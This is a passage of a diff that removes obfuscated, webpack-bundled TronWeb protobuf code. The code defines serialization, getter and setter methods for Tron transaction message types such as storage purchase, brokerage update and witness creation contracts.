- _0x419109.setOwnerAddress(_0x1a6b77);
- break;
- case 2:
- _0x1a6b77 = _0xaf9d3f.readBytes();
- _0x419109.setContractAddress(_0x1a6b77);
- break;
- case 3:
- _0x1a6b77 = _0xaf9d3f.readInt64();
- _0x419109.setOriginEnergyLimit(_0x1a6b77);
- break;
- default:
- _0xaf9d3f.skipField();
- }
- }
- return _0x419109;
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.serializeBinary = function () {
- var _0x24b499 = new _0x4c9339.BinaryWriter();
- TronWebProto.UpdateEnergyLimitContract.serializeBinaryToWriter(this, _0x24b499);
- return _0x24b499.getResultBuffer();
- };
- TronWebProto.UpdateEnergyLimitContract.serializeBinaryToWriter = function (_0x4c64fb, _0x27f009) {
- var _0x5c6e2a = undefined;
- (_0x5c6e2a = _0x4c64fb.getOwnerAddress_asU8()).length > 0 && _0x27f009.writeBytes(1, _0x5c6e2a);
- (_0x5c6e2a = _0x4c64fb.getContractAddress_asU8()).length > 0 && _0x27f009.writeBytes(2, _0x5c6e2a);
- 0 !== (_0x5c6e2a = _0x4c64fb.getOriginEnergyLimit()) && _0x27f009.writeInt64(3, _0x5c6e2a);
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getOwnerAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.setOwnerAddress = function (_0x2f7687) {
- return _0x4c9339.Message.setProto3BytesField(this, 1, _0x2f7687);
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getContractAddress = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getContractAddress_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getContractAddress());
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getContractAddress_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getContractAddress());
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.setContractAddress = function (_0x5cc23b) {
- return _0x4c9339.Message.setProto3BytesField(this, 2, _0x5cc23b);
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.getOriginEnergyLimit = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.UpdateEnergyLimitContract.prototype.setOriginEnergyLimit = function (_0x570f63) {
- return _0x4c9339.Message.setProto3IntField(this, 3, _0x570f63);
- };
- _0x4c9339.Message.GENERATE_TO_OBJECT && (TronWebProto.SmartContractDataWrapper.prototype.toObject = function (_0x1171e2) {
- return TronWebProto.SmartContractDataWrapper.toObject(_0x1171e2, this);
- }, TronWebProto.SmartContractDataWrapper.toObject = function (_0x2d9e57, _0x195c87) {
- var _0x4c9d54;
- var _0x32455e = {
- smartContract: (_0x4c9d54 = _0x195c87.getSmartContract()) && TronWebProto.SmartContract.toObject(_0x2d9e57, _0x4c9d54),
- runtimecode: _0x195c87.getRuntimecode_asB64(),
- contractState: (_0x4c9d54 = _0x195c87.getContractState()) && TronWebProto.ContractState.toObject(_0x2d9e57, _0x4c9d54)
- };
- _0x2d9e57 && (_0x32455e.$jspbMessageInstance = _0x195c87);
- return _0x32455e;
- });
- TronWebProto.SmartContractDataWrapper.deserializeBinary = function (_0x25b868) {
- var _0x250ca4 = new _0x4c9339.BinaryReader(_0x25b868);
- var _0x4ad32b = new TronWebProto.SmartContractDataWrapper();
- return TronWebProto.SmartContractDataWrapper.deserializeBinaryFromReader(_0x4ad32b, _0x250ca4);
- };
- TronWebProto.SmartContractDataWrapper.deserializeBinaryFromReader = function (_0x1e0c78, _0x5e011d) {
- for (; _0x5e011d.nextField() && !_0x5e011d.isEndGroup();) {
- switch (_0x5e011d.getFieldNumber()) {
- case 1:
- var _0x28e750 = new TronWebProto.SmartContract();
- _0x5e011d.readMessage(_0x28e750, TronWebProto.SmartContract.deserializeBinaryFromReader);
- _0x1e0c78.setSmartContract(_0x28e750);
- break;
- case 2:
- _0x28e750 = _0x5e011d.readBytes();
- _0x1e0c78.setRuntimecode(_0x28e750);
- break;
- case 3:
- _0x28e750 = new TronWebProto.ContractState();
- _0x5e011d.readMessage(_0x28e750, TronWebProto.ContractState.deserializeBinaryFromReader);
- _0x1e0c78.setContractState(_0x28e750);
- break;
- default:
- _0x5e011d.skipField();
- }
- }
- return _0x1e0c78;
- };
- TronWebProto.SmartContractDataWrapper.prototype.serializeBinary = function () {
- var _0x3d7b30 = new _0x4c9339.BinaryWriter();
- TronWebProto.SmartContractDataWrapper.serializeBinaryToWriter(this, _0x3d7b30);
- return _0x3d7b30.getResultBuffer();
- };
- TronWebProto.SmartContractDataWrapper.serializeBinaryToWriter = function (_0x569cec, _0x962223) {
- var _0xbf24c1 = undefined;
- null != (_0xbf24c1 = _0x569cec.getSmartContract()) && _0x962223.writeMessage(1, _0xbf24c1, TronWebProto.SmartContract.serializeBinaryToWriter);
- (_0xbf24c1 = _0x569cec.getRuntimecode_asU8()).length > 0 && _0x962223.writeBytes(2, _0xbf24c1);
- null != (_0xbf24c1 = _0x569cec.getContractState()) && _0x962223.writeMessage(3, _0xbf24c1, TronWebProto.ContractState.serializeBinaryToWriter);
- };
- TronWebProto.SmartContractDataWrapper.prototype.getSmartContract = function () {
- return _0x4c9339.Message.getWrapperField(this, TronWebProto.SmartContract, 1);
- };
- TronWebProto.SmartContractDataWrapper.prototype.setSmartContract = function (_0x5c9576) {
- return _0x4c9339.Message.setWrapperField(this, 1, _0x5c9576);
- };
- TronWebProto.SmartContractDataWrapper.prototype.clearSmartContract = function () {
- return this.setSmartContract(undefined);
- };
- TronWebProto.SmartContractDataWrapper.prototype.hasSmartContract = function () {
- return null != _0x4c9339.Message.getField(this, 1);
- };
- TronWebProto.SmartContractDataWrapper.prototype.getRuntimecode = function () {
- return _0x4c9339.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.SmartContractDataWrapper.prototype.getRuntimecode_asB64 = function () {
- return _0x4c9339.Message.bytesAsB64(this.getRuntimecode());
- };
- TronWebProto.SmartContractDataWrapper.prototype.getRuntimecode_asU8 = function () {
- return _0x4c9339.Message.bytesAsU8(this.getRuntimecode());
- };
- TronWebProto.SmartContractDataWrapper.prototype.setRuntimecode = function (_0x428fd5) {
- return _0x4c9339.Message.setProto3BytesField(this, 2, _0x428fd5);
- };
- TronWebProto.SmartContractDataWrapper.prototype.getContractState = function () {
- return _0x4c9339.Message.getWrapperField(this, TronWebProto.ContractState, 3);
- };
- TronWebProto.SmartContractDataWrapper.prototype.setContractState = function (_0x28c827) {
- return _0x4c9339.Message.setWrapperField(this, 3, _0x28c827);
- };
- TronWebProto.SmartContractDataWrapper.prototype.clearContractState = function () {
- return this.setContractState(undefined);
- };
- TronWebProto.SmartContractDataWrapper.prototype.hasContractState = function () {
- return null != _0x4c9339.Message.getField(this, 3);
- };
- _0x45ec88.object.extend(_0xda95dc, TronWebProto);
- },
- 672: (_0x173cb, _0x19e62b, _0x9ff61) => {
- var _0x4c2022 = _0x9ff61(5595);
- var _0x4869e4 = _0x4c2022;
- var _0x48d057 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x48d057 && _0x48d057 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x4869e4.exportSymbol("TronWebProto.BuyStorageBytesContract", null, _0x48d057);
- _0x4869e4.exportSymbol("TronWebProto.BuyStorageContract", null, _0x48d057);
- _0x4869e4.exportSymbol("TronWebProto.SellStorageContract", null, _0x48d057);
- _0x4869e4.exportSymbol("TronWebProto.UpdateBrokerageContract", null, _0x48d057);
- TronWebProto.BuyStorageBytesContract = function (_0x850703) {
- _0x4c2022.Message.initialize(this, _0x850703, 0, -1, null, null);
- };
- _0x4869e4.inherits(TronWebProto.BuyStorageBytesContract, _0x4c2022.Message);
- _0x4869e4.DEBUG && !COMPILED && (TronWebProto.BuyStorageBytesContract.displayName = "TronWebProto.BuyStorageBytesContract");
- TronWebProto.BuyStorageContract = function (_0x1157d1) {
- _0x4c2022.Message.initialize(this, _0x1157d1, 0, -1, null, null);
- };
- _0x4869e4.inherits(TronWebProto.BuyStorageContract, _0x4c2022.Message);
- _0x4869e4.DEBUG && !COMPILED && (TronWebProto.BuyStorageContract.displayName = "TronWebProto.BuyStorageContract");
- TronWebProto.SellStorageContract = function (_0x1aae57) {
- _0x4c2022.Message.initialize(this, _0x1aae57, 0, -1, null, null);
- };
- _0x4869e4.inherits(TronWebProto.SellStorageContract, _0x4c2022.Message);
- _0x4869e4.DEBUG && !COMPILED && (TronWebProto.SellStorageContract.displayName = "TronWebProto.SellStorageContract");
- TronWebProto.UpdateBrokerageContract = function (_0x457ea5) {
- _0x4c2022.Message.initialize(this, _0x457ea5, 0, -1, null, null);
- };
- _0x4869e4.inherits(TronWebProto.UpdateBrokerageContract, _0x4c2022.Message);
- _0x4869e4.DEBUG && !COMPILED && (TronWebProto.UpdateBrokerageContract.displayName = "TronWebProto.UpdateBrokerageContract");
- _0x4c2022.Message.GENERATE_TO_OBJECT && (TronWebProto.BuyStorageBytesContract.prototype.toObject = function (_0x4a3f3c) {
- return TronWebProto.BuyStorageBytesContract.toObject(_0x4a3f3c, this);
- }, TronWebProto.BuyStorageBytesContract.toObject = function (_0xd30eb9, _0xd407a2) {
- var _0x1b90eb = {
- ownerAddress: _0xd407a2.getOwnerAddress_asB64(),
- bytes: _0x4c2022.Message.getFieldWithDefault(_0xd407a2, 2, 0)
- };
- _0xd30eb9 && (_0x1b90eb.$jspbMessageInstance = _0xd407a2);
- return _0x1b90eb;
- });
- TronWebProto.BuyStorageBytesContract.deserializeBinary = function (_0x3c782e) {
- var _0x1385dd = new _0x4c2022.BinaryReader(_0x3c782e);
- var _0xb8bec2 = new TronWebProto.BuyStorageBytesContract();
- return TronWebProto.BuyStorageBytesContract.deserializeBinaryFromReader(_0xb8bec2, _0x1385dd);
- };
- TronWebProto.BuyStorageBytesContract.deserializeBinaryFromReader = function (_0x281bd5, _0x3072a6) {
- for (; _0x3072a6.nextField() && !_0x3072a6.isEndGroup();) {
- switch (_0x3072a6.getFieldNumber()) {
- case 1:
- var _0x223a97 = _0x3072a6.readBytes();
- _0x281bd5.setOwnerAddress(_0x223a97);
- break;
- case 2:
- _0x223a97 = _0x3072a6.readInt64();
- _0x281bd5.setBytes(_0x223a97);
- break;
- default:
- _0x3072a6.skipField();
- }
- }
- return _0x281bd5;
- };
- TronWebProto.BuyStorageBytesContract.prototype.serializeBinary = function () {
- var _0x12e282 = new _0x4c2022.BinaryWriter();
- TronWebProto.BuyStorageBytesContract.serializeBinaryToWriter(this, _0x12e282);
- return _0x12e282.getResultBuffer();
- };
- TronWebProto.BuyStorageBytesContract.serializeBinaryToWriter = function (_0xfad8a7, _0x38750e) {
- var _0x5adf6b = undefined;
- (_0x5adf6b = _0xfad8a7.getOwnerAddress_asU8()).length > 0 && _0x38750e.writeBytes(1, _0x5adf6b);
- 0 !== (_0x5adf6b = _0xfad8a7.getBytes()) && _0x38750e.writeInt64(2, _0x5adf6b);
- };
- TronWebProto.BuyStorageBytesContract.prototype.getOwnerAddress = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.BuyStorageBytesContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c2022.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.BuyStorageBytesContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c2022.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.BuyStorageBytesContract.prototype.setOwnerAddress = function (_0x23ca72) {
- return _0x4c2022.Message.setProto3BytesField(this, 1, _0x23ca72);
- };
- TronWebProto.BuyStorageBytesContract.prototype.getBytes = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.BuyStorageBytesContract.prototype.setBytes = function (_0xd04a32) {
- return _0x4c2022.Message.setProto3IntField(this, 2, _0xd04a32);
- };
- _0x4c2022.Message.GENERATE_TO_OBJECT && (TronWebProto.BuyStorageContract.prototype.toObject = function (_0x363d9c) {
- return TronWebProto.BuyStorageContract.toObject(_0x363d9c, this);
- }, TronWebProto.BuyStorageContract.toObject = function (_0x446829, _0x3a4b1e) {
- var _0x5e66b9 = {
- ownerAddress: _0x3a4b1e.getOwnerAddress_asB64(),
- quant: _0x4c2022.Message.getFieldWithDefault(_0x3a4b1e, 2, 0)
- };
- _0x446829 && (_0x5e66b9.$jspbMessageInstance = _0x3a4b1e);
- return _0x5e66b9;
- });
- TronWebProto.BuyStorageContract.deserializeBinary = function (_0x2b4d3f) {
- var _0x5e13a6 = new _0x4c2022.BinaryReader(_0x2b4d3f);
- var _0x3c6f50 = new TronWebProto.BuyStorageContract();
- return TronWebProto.BuyStorageContract.deserializeBinaryFromReader(_0x3c6f50, _0x5e13a6);
- };
- TronWebProto.BuyStorageContract.deserializeBinaryFromReader = function (_0x570ac0, _0x72a0a0) {
- for (; _0x72a0a0.nextField() && !_0x72a0a0.isEndGroup();) {
- switch (_0x72a0a0.getFieldNumber()) {
- case 1:
- var _0x9e7c51 = _0x72a0a0.readBytes();
- _0x570ac0.setOwnerAddress(_0x9e7c51);
- break;
- case 2:
- _0x9e7c51 = _0x72a0a0.readInt64();
- _0x570ac0.setQuant(_0x9e7c51);
- break;
- default:
- _0x72a0a0.skipField();
- }
- }
- return _0x570ac0;
- };
- TronWebProto.BuyStorageContract.prototype.serializeBinary = function () {
- var _0x32cec9 = new _0x4c2022.BinaryWriter();
- TronWebProto.BuyStorageContract.serializeBinaryToWriter(this, _0x32cec9);
- return _0x32cec9.getResultBuffer();
- };
- TronWebProto.BuyStorageContract.serializeBinaryToWriter = function (_0xaff759, _0x2d94d4) {
- var _0x54de6f = undefined;
- (_0x54de6f = _0xaff759.getOwnerAddress_asU8()).length > 0 && _0x2d94d4.writeBytes(1, _0x54de6f);
- 0 !== (_0x54de6f = _0xaff759.getQuant()) && _0x2d94d4.writeInt64(2, _0x54de6f);
- };
- TronWebProto.BuyStorageContract.prototype.getOwnerAddress = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.BuyStorageContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c2022.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.BuyStorageContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c2022.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.BuyStorageContract.prototype.setOwnerAddress = function (_0x427068) {
- return _0x4c2022.Message.setProto3BytesField(this, 1, _0x427068);
- };
- TronWebProto.BuyStorageContract.prototype.getQuant = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.BuyStorageContract.prototype.setQuant = function (_0x3e1ad) {
- return _0x4c2022.Message.setProto3IntField(this, 2, _0x3e1ad);
- };
- _0x4c2022.Message.GENERATE_TO_OBJECT && (TronWebProto.SellStorageContract.prototype.toObject = function (_0x1ca14b) {
- return TronWebProto.SellStorageContract.toObject(_0x1ca14b, this);
- }, TronWebProto.SellStorageContract.toObject = function (_0x3f13fa, _0x592a97) {
- var _0x5d06c0 = {
- ownerAddress: _0x592a97.getOwnerAddress_asB64(),
- storageBytes: _0x4c2022.Message.getFieldWithDefault(_0x592a97, 2, 0)
- };
- _0x3f13fa && (_0x5d06c0.$jspbMessageInstance = _0x592a97);
- return _0x5d06c0;
- });
- TronWebProto.SellStorageContract.deserializeBinary = function (_0x89e6cf) {
- var _0x1ea29d = new _0x4c2022.BinaryReader(_0x89e6cf);
- var _0x1eb84c = new TronWebProto.SellStorageContract();
- return TronWebProto.SellStorageContract.deserializeBinaryFromReader(_0x1eb84c, _0x1ea29d);
- };
- TronWebProto.SellStorageContract.deserializeBinaryFromReader = function (_0x3931fe, _0x2b9ad9) {
- for (; _0x2b9ad9.nextField() && !_0x2b9ad9.isEndGroup();) {
- switch (_0x2b9ad9.getFieldNumber()) {
- case 1:
- var _0x51e97f = _0x2b9ad9.readBytes();
- _0x3931fe.setOwnerAddress(_0x51e97f);
- break;
- case 2:
- _0x51e97f = _0x2b9ad9.readInt64();
- _0x3931fe.setStorageBytes(_0x51e97f);
- break;
- default:
- _0x2b9ad9.skipField();
- }
- }
- return _0x3931fe;
- };
- TronWebProto.SellStorageContract.prototype.serializeBinary = function () {
- var _0x373ade = new _0x4c2022.BinaryWriter();
- TronWebProto.SellStorageContract.serializeBinaryToWriter(this, _0x373ade);
- return _0x373ade.getResultBuffer();
- };
- TronWebProto.SellStorageContract.serializeBinaryToWriter = function (_0x18e1a2, _0x116990) {
- var _0x310151 = undefined;
- (_0x310151 = _0x18e1a2.getOwnerAddress_asU8()).length > 0 && _0x116990.writeBytes(1, _0x310151);
- 0 !== (_0x310151 = _0x18e1a2.getStorageBytes()) && _0x116990.writeInt64(2, _0x310151);
- };
- TronWebProto.SellStorageContract.prototype.getOwnerAddress = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.SellStorageContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c2022.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.SellStorageContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c2022.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.SellStorageContract.prototype.setOwnerAddress = function (_0x3459ce) {
- return _0x4c2022.Message.setProto3BytesField(this, 1, _0x3459ce);
- };
- TronWebProto.SellStorageContract.prototype.getStorageBytes = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.SellStorageContract.prototype.setStorageBytes = function (_0x509f46) {
- return _0x4c2022.Message.setProto3IntField(this, 2, _0x509f46);
- };
- _0x4c2022.Message.GENERATE_TO_OBJECT && (TronWebProto.UpdateBrokerageContract.prototype.toObject = function (_0xb73d95) {
- return TronWebProto.UpdateBrokerageContract.toObject(_0xb73d95, this);
- }, TronWebProto.UpdateBrokerageContract.toObject = function (_0x5e85a0, _0x26e276) {
- var _0x125497 = {
- ownerAddress: _0x26e276.getOwnerAddress_asB64(),
- brokerage: _0x4c2022.Message.getFieldWithDefault(_0x26e276, 2, 0)
- };
- _0x5e85a0 && (_0x125497.$jspbMessageInstance = _0x26e276);
- return _0x125497;
- });
- TronWebProto.UpdateBrokerageContract.deserializeBinary = function (_0x3ba111) {
- var _0x29ce5a = new _0x4c2022.BinaryReader(_0x3ba111);
- var _0x30f1cb = new TronWebProto.UpdateBrokerageContract();
- return TronWebProto.UpdateBrokerageContract.deserializeBinaryFromReader(_0x30f1cb, _0x29ce5a);
- };
- TronWebProto.UpdateBrokerageContract.deserializeBinaryFromReader = function (_0x4f5a18, _0x1d9986) {
- for (; _0x1d9986.nextField() && !_0x1d9986.isEndGroup();) {
- switch (_0x1d9986.getFieldNumber()) {
- case 1:
- var _0x7c14e5 = _0x1d9986.readBytes();
- _0x4f5a18.setOwnerAddress(_0x7c14e5);
- break;
- case 2:
- _0x7c14e5 = _0x1d9986.readInt32();
- _0x4f5a18.setBrokerage(_0x7c14e5);
- break;
- default:
- _0x1d9986.skipField();
- }
- }
- return _0x4f5a18;
- };
- TronWebProto.UpdateBrokerageContract.prototype.serializeBinary = function () {
- var _0x1e9e7e = new _0x4c2022.BinaryWriter();
- TronWebProto.UpdateBrokerageContract.serializeBinaryToWriter(this, _0x1e9e7e);
- return _0x1e9e7e.getResultBuffer();
- };
- TronWebProto.UpdateBrokerageContract.serializeBinaryToWriter = function (_0x3e7ae7, _0x3e3d48) {
- var _0x58c00f = undefined;
- (_0x58c00f = _0x3e7ae7.getOwnerAddress_asU8()).length > 0 && _0x3e3d48.writeBytes(1, _0x58c00f);
- 0 !== (_0x58c00f = _0x3e7ae7.getBrokerage()) && _0x3e3d48.writeInt32(2, _0x58c00f);
- };
- TronWebProto.UpdateBrokerageContract.prototype.getOwnerAddress = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UpdateBrokerageContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x4c2022.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UpdateBrokerageContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x4c2022.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UpdateBrokerageContract.prototype.setOwnerAddress = function (_0x22fc8f) {
- return _0x4c2022.Message.setProto3BytesField(this, 1, _0x22fc8f);
- };
- TronWebProto.UpdateBrokerageContract.prototype.getBrokerage = function () {
- return _0x4c2022.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.UpdateBrokerageContract.prototype.setBrokerage = function (_0x380df4) {
- return _0x4c2022.Message.setProto3IntField(this, 2, _0x380df4);
- };
- _0x4869e4.object.extend(_0x19e62b, TronWebProto);
- },
- 7084: (_0x5a0fd7, _0xe70cd6, _0x27f2a5) => {
- var _0x210db4 = _0x27f2a5(5595);
- var _0x1b4ad7 = _0x210db4;
- var _0x2823c4 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x2823c4 && _0x2823c4 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x1b4ad7.exportSymbol("TronWebProto.VoteWitnessContract", null, _0x2823c4);
- _0x1b4ad7.exportSymbol("TronWebProto.VoteWitnessContract.Vote", null, _0x2823c4);
- _0x1b4ad7.exportSymbol("TronWebProto.WitnessCreateContract", null, _0x2823c4);
- _0x1b4ad7.exportSymbol("TronWebProto.WitnessUpdateContract", null, _0x2823c4);
- TronWebProto.WitnessCreateContract = function (_0x4f2c3b) {
- _0x210db4.Message.initialize(this, _0x4f2c3b, 0, -1, null, null);
- };
- _0x1b4ad7.inherits(TronWebProto.WitnessCreateContract, _0x210db4.Message);
- _0x1b4ad7.DEBUG && !COMPILED && (TronWebProto.WitnessCreateContract.displayName = "TronWebProto.WitnessCreateContract");
- TronWebProto.WitnessUpdateContract = function (_0x59e85d) {
- _0x210db4.Message.initialize(this, _0x59e85d, 0, -1, null, null);
- };
- _0x1b4ad7.inherits(TronWebProto.WitnessUpdateContract, _0x210db4.Message);
- _0x1b4ad7.DEBUG && !COMPILED && (TronWebProto.WitnessUpdateContract.displayName = "TronWebProto.WitnessUpdateContract");
- TronWebProto.VoteWitnessContract = function (_0x47aab5) {
- _0x210db4.Message.initialize(this, _0x47aab5, 0, -1, TronWebProto.VoteWitnessContract.repeatedFields_, null);
- };
- _0x1b4ad7.inherits(TronWebProto.VoteWitnessContract, _0x210db4.Message);
- _0x1b4ad7.DEBUG && !COMPILED && (TronWebProto.VoteWitnessContract.displayName = "TronWebProto.VoteWitnessContract");
- TronWebProto.VoteWitnessContract.Vote = function (_0x42fdc5) {
- _0x210db4.Message.initialize(this, _0x42fdc5, 0, -1, null, null);
- };
- _0x1b4ad7.inherits(TronWebProto.VoteWitnessContract.Vote, _0x210db4.Message);
- _0x1b4ad7.DEBUG && !COMPILED && (TronWebProto.VoteWitnessContract.Vote.displayName = "TronWebProto.VoteWitnessContract.Vote");
- _0x210db4.Message.GENERATE_TO_OBJECT && (TronWebProto.WitnessCreateContract.prototype.toObject = function (_0x315341) {
- return TronWebProto.WitnessCreateContract.toObject(_0x315341, this);
- }, TronWebProto.WitnessCreateContract.toObject = function (_0x239ba, _0x499427) {
- var _0x5e2bbb = {
- ownerAddress: _0x499427.getOwnerAddress_asB64(),
- url: _0x499427.getUrl_asB64()
- };
- _0x239ba && (_0x5e2bbb.$jspbMessageInstance = _0x499427);
- return _0x5e2bbb;
- });
- TronWebProto.WitnessCreateContract.deserializeBinary = function (_0x23bce4) {
- var _0x2ac8cf = new _0x210db4.BinaryReader(_0x23bce4);
- var _0x5d9a42 = new TronWebProto.WitnessCreateContract();
- return TronWebProto.WitnessCreateContract.deserializeBinaryFromReader(_0x5d9a42, _0x2ac8cf);
- };
- TronWebProto.WitnessCreateContract.deserializeBinaryFromReader = function (_0x52012d, _0x2f8832) {
- for (; _0x2f8832.nextField() && !_0x2f8832.isEndGroup();) {
- switch (_0x2f8832.getFieldNumber()) {
- case 1:
- var _0x51598e = _0x2f8832.readBytes();
- _0x52012d.setOwnerAddress(_0x51598e);
- break;
- case 2:
- _0x51598e = _0x2f8832.readBytes();
- _0x52012d.setUrl(_0x51598e);
- break;
- default:
- _0x2f8832.skipField();
- }
- }
- return _0x52012d;
- };
- TronWebProto.WitnessCreateContract.prototype.serializeBinary = function () {
- var _0x4e76f4 = new _0x210db4.BinaryWriter();
- TronWebProto.WitnessCreateContract.serializeBinaryToWriter(this, _0x4e76f4);
- return _0x4e76f4.getResultBuffer();
- };
- TronWebProto.WitnessCreateContract.serializeBinaryToWriter = function (_0x425aea, _0x475924) {
- var _0x35976d = undefined;
- (_0x35976d = _0x425aea.getOwnerAddress_asU8()).length > 0 && _0x475924.writeBytes(1, _0x35976d);
- (_0x35976d = _0x425aea.getUrl_asU8()).length > 0 && _0x475924.writeBytes(2, _0x35976d);
- };
- TronWebProto.WitnessCreateContract.prototype.getOwnerAddress = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.WitnessCreateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x210db4.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.WitnessCreateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x210db4.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.WitnessCreateContract.prototype.setOwnerAddress = function (_0x4763ad) {
- return _0x210db4.Message.setProto3BytesField(this, 1, _0x4763ad);
- };
- TronWebProto.WitnessCreateContract.prototype.getUrl = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.WitnessCreateContract.prototype.getUrl_asB64 = function () {
- return _0x210db4.Message.bytesAsB64(this.getUrl());
- };
- TronWebProto.WitnessCreateContract.prototype.getUrl_asU8 = function () {
- return _0x210db4.Message.bytesAsU8(this.getUrl());
- };
- TronWebProto.WitnessCreateContract.prototype.setUrl = function (_0x1e8cb6) {
- return _0x210db4.Message.setProto3BytesField(this, 2, _0x1e8cb6);
- };
- _0x210db4.Message.GENERATE_TO_OBJECT && (TronWebProto.WitnessUpdateContract.prototype.toObject = function (_0x5ca986) {
- return TronWebProto.WitnessUpdateContract.toObject(_0x5ca986, this);
- }, TronWebProto.WitnessUpdateContract.toObject = function (_0x39fbed, _0x47de0f) {
- var _0x6f6d42 = {
- ownerAddress: _0x47de0f.getOwnerAddress_asB64(),
- updateUrl: _0x47de0f.getUpdateUrl_asB64()
- };
- _0x39fbed && (_0x6f6d42.$jspbMessageInstance = _0x47de0f);
- return _0x6f6d42;
- });
- TronWebProto.WitnessUpdateContract.deserializeBinary = function (_0x14d493) {
- var _0x5ebee8 = new _0x210db4.BinaryReader(_0x14d493);
- var _0x4d7c84 = new TronWebProto.WitnessUpdateContract();
- return TronWebProto.WitnessUpdateContract.deserializeBinaryFromReader(_0x4d7c84, _0x5ebee8);
- };
- TronWebProto.WitnessUpdateContract.deserializeBinaryFromReader = function (_0x40580f, _0x1c4447) {
- for (; _0x1c4447.nextField() && !_0x1c4447.isEndGroup();) {
- switch (_0x1c4447.getFieldNumber()) {
- case 1:
- var _0x3e7806 = _0x1c4447.readBytes();
- _0x40580f.setOwnerAddress(_0x3e7806);
- break;
- case 12:
- _0x3e7806 = _0x1c4447.readBytes();
- _0x40580f.setUpdateUrl(_0x3e7806);
- break;
- default:
- _0x1c4447.skipField();
- }
- }
- return _0x40580f;
- };
- TronWebProto.WitnessUpdateContract.prototype.serializeBinary = function () {
- var _0x35f42b = new _0x210db4.BinaryWriter();
- TronWebProto.WitnessUpdateContract.serializeBinaryToWriter(this, _0x35f42b);
- return _0x35f42b.getResultBuffer();
- };
- TronWebProto.WitnessUpdateContract.serializeBinaryToWriter = function (_0x3cbef0, _0x42a2c6) {
- var _0x3c6ed0 = undefined;
- (_0x3c6ed0 = _0x3cbef0.getOwnerAddress_asU8()).length > 0 && _0x42a2c6.writeBytes(1, _0x3c6ed0);
- (_0x3c6ed0 = _0x3cbef0.getUpdateUrl_asU8()).length > 0 && _0x42a2c6.writeBytes(12, _0x3c6ed0);
- };
- TronWebProto.WitnessUpdateContract.prototype.getOwnerAddress = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.WitnessUpdateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x210db4.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.WitnessUpdateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x210db4.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.WitnessUpdateContract.prototype.setOwnerAddress = function (_0x26a537) {
- return _0x210db4.Message.setProto3BytesField(this, 1, _0x26a537);
- };
- TronWebProto.WitnessUpdateContract.prototype.getUpdateUrl = function () {
- return _0x210db4.Message.getFieldWithDefault(this, 12, "");
- };
- TronWebProto.WitnessUpdateContract.prototype.getUpdateUrl_asB64 = function () {
- return _0x210db4.Message.bytesAsB64(this.getUpdateUrl());
- };
- TronWebProto.WitnessUpdateContract.prototype.getUpdateUrl_asU8 = function () {
- return _0x210db4.Message.bytesAsU8(this.getUpdateUrl());
- };
- TronWebProto.WitnessUpdateContract.prototype.setUpdateUrl = function (_0x964cd) {
- return _0x210db4.Message.setProto3BytesField(this, 12, _0x964cd);
